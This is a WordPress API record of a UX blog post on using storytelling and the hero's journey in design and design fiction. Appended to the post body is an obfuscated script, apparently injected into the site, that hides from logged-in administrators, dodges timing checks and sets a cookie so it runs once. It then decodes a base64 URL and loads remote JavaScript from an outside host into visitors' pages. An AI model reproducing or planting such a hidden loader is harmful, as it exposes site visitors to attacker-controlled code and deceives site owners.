{"id":832,"date":"2020-11-09T23:11:00","date_gmt":"2020-11-09T23:11:00","guid":{"rendered":"https:\/\/f1studioz.com\/blog\/?p=832"},"modified":"2026-03-03T10:42:15","modified_gmt":"2026-03-03T10:42:15","slug":"compelling-storytelling-for-a-better-ux","status":"publish","type":"post","link":"https:\/\/f1studioz.com\/blog\/compelling-storytelling-for-a-better-ux\/","title":{"rendered":"Compelling Storytelling for a Better UX"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\" id=\"bd26\"><strong>The popular saying \u201cgood design is invisible\u201d probably applies to your favorite app, website, and even physical product. But what if it also applies to the world of storytelling?<\/strong><\/h2>\n\n\n\n<p id=\"9f53\">Picture your top 5 movies or books. Now think about the stories told. Each story is complex, nuanced, and unique in its own right. But most of these stories are designed. Each follows a pattern, a carefully constructed, frame-by-frame storyline that fits a meticulously curated mold. This is why you cried at some point while watching Pixar\u2019s UP or why your adrenaline pumps when watching Star Wars.<\/p>\n\n\n\n<p id=\"a483\">Our study group at&nbsp;<a href=\"https:\/\/www.f1studioz.com\/\" rel=\"noreferrer noopener\" target=\"_blank\">f1studioz<\/a>&nbsp;discussed one such aspect of the structure of a story \u2014 the hero\u2019s journey \u2014 which sparked broader ideas about the role of storytelling in designing a better user experience and how storytelling has paved the way for \u201cdesign fiction\u201d and designing for the future.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"910a\"><strong>The Hero\u2019s Journey<\/strong><\/h2>\n\n\n\n<p id=\"8a30\">Joseph Campbell, a student of Carl Jung, first introduced the Hero\u2019s Journey in his work \u201cThe Hero\u2019s with a Thousand Faces.\u201d He posits that each story follows a \u201cbasic formula\u201d which is what makes a captivating story the viewer emotionally invests in.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1400\/1*N88hK94n7KWchHejDdh0mg.png\" alt=\"The Hero\u2019s Journey\" width=\"-539\" height=\"-541\"\/><figcaption><a href=\"https:\/\/en.wikipedia.org\/wiki\/Hero%27s_journey#\/media\/File:Heroesjourney.svg\" rel=\"noreferrer noopener\" target=\"_blank\">Image Source<\/a><\/figcaption><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/998\/1*WjfOQFlykUd12Kf_DGuqDg.png\" alt=\"\"\/><figcaption><a href=\"https:\/\/www.smashingmagazine.com\/2010\/01\/better-user-experience-using-storytelling-part-one\/\" rel=\"noreferrer noopener\" target=\"_blank\">Image Source<\/a><\/figcaption><\/figure><\/div>\n\n\n\n<p id=\"a7eb\">And much like good design, good storytelling transcends the spoken word. Each person has a strong picture of who the hero or mentor is and expects that character to follow certain traits. Thanks to the Hero\u2019s Journey, classic tales like Aesop\u2019s Fables have been passed on from generation to generation and been translated into various languages.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"c80e\"><strong>The Relevance of Storytelling<\/strong><\/h2>\n\n\n\n<p id=\"74fa\">Why must designers be effective storytellers? Because storytelling lies at the core of the design. Think about&nbsp;<em>why&nbsp;<\/em>you\u2019re designing and&nbsp;<em>who&nbsp;<\/em>you\u2019re designing for. Having empathy to step into your users&#8217; shoes is critical, and to have empathy you need to have an imagination. Really imagine your users&#8217; motivations, frustrations, and reasons for using what you\u2019re designing. For example, if you\u2019re designing an app to help teenagers with school work, you have to come up with a story. Perhaps they\u2019re going to a highly competitive school and have high levels of stress. If you\u2019re able to paint a clear picture of your user, you\u2019ll make better design decisions. Remember the 5 W\u2019s: Who, what, when, where, and why. Perhaps you\u2019ll include a section where kids can de-stress by playing games. Or maybe a forum or channel where they can anonymously ask for support. But if you think of these kids merely as your \u201cusers\u201d \u2014 no backstories, no goals, or frustrations \u2014 you\u2019ll come up with something that may be flawless from an engineering or design perspective, but not as useful as.<\/p>\n\n\n\n<p id=\"c1fb\">Furthermore, having a clear story and a \u201clead character\u201d will ensure engineers, designers and researchers are all on the same page and promote seamless workflows across cross-functional teams. Stronger stories mean stronger teams, better communication, and better collaboration.<\/p>\n\n\n\n<p id=\"bc17\">Storyboarding is a valuable tool in the research process because of these very reasons. All of that nebulous data from consumer insights finally has a face and name to it, simplifying big ideas into more concrete terms and even revealing insights that would otherwise not been revealed.<\/p>\n\n\n\n<p id=\"e0a9\">On the other hand, the relationship between storytelling and branding has been a tumultuous one. Brands have tried to sell people more things through creating likable characters, like the infamous Ronald McDonald, or mascots with complex backstories that make them feel all the more real. We live in a world where attention is the most valuable commodity (the \u201cattention economy\u201d) so who can really blame these brands? And so the relationship between narrative and capitalism continues to be complex\u2026<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"e68d\"><strong>Design Fiction and Storytelling<\/strong><\/h2>\n\n\n\n<p id=\"7980\">I first heard of design fiction a few months ago when I attended a workshop about the future of design. In the workshop, we were asked to choose an organization or project and use the hero\u2019s journey to come up with innovative solutions and ways we could take our project forward. The first stage was \u201cthe Ordinary World\u201d, where we had to think about what made our organization unique, what paradigms we relied on, and what our strengths and weaknesses were. Then, we were given a ludicrous scenario (such as aliens taking over the world) which served as our \u201ccall for adventure.\u201d We then had to explain how that happened and what similar situations it reminded us of that could take place in the real world. We had to brainstorm ways in which this scenario affected our organization, both directly and indirectly, and how we could solve these challenges. Finally, we got to the \u201creward\u201d stage where we thought about what we\u2019ve achieved without proposed solution and what it\u2019s side-effects were. We returned to the real world with our \u201celixir\u201d \u2014 these magical \u201cfuture proof\u201d solutions that inspired us to change things now and what conditions needed to be modified to ensure that such change could take place. It was through this workshop that I learned how storytelling and the hero\u2019s journey are truly relevant to design today.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1400\/1*-5PzqffkSzz3hsL4y7vhdw.png\" alt=\"\"\/><figcaption>My Design Fiction Story<\/figcaption><\/figure><\/div>\n\n\n\n<p id=\"cb66\">Try it out for yourself! Think about where you\u2019ve used storytelling and how you can continue to use it to strengthen your own design skills. I guarantee that you\u2019ll end up with an out-of-the-box solution that will change your design game.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>The popular saying \u201cgood design is invisible\u201d probably applies to your favorite app, website, and even physical product. But what if it also applies to the world of storytelling? Picture your top 5 movies or books. Now think about the stories told. Each story is complex, nuanced, and unique in its own right. But most [&hellip;]<\/p>\n","protected":false},"author":25,"featured_media":1423,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[43],"tags":[],"class_list":["post-832","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ux-design"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/posts\/832","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/users\/25"}],"replies":[{"embeddable":true,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/comments?post=832"}],"version-history":[{"count":4,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/posts\/832\/revisions"}],"predecessor-version":[{"id":5365,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/posts\/832\/revisions\/5365"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/media\/1423"}],"wp:attachment":[{"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/media?parent=832"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/categories?post=832"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/f1studioz.com\/blog\/wp-json\/wp\/v2\/tags?post=832"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}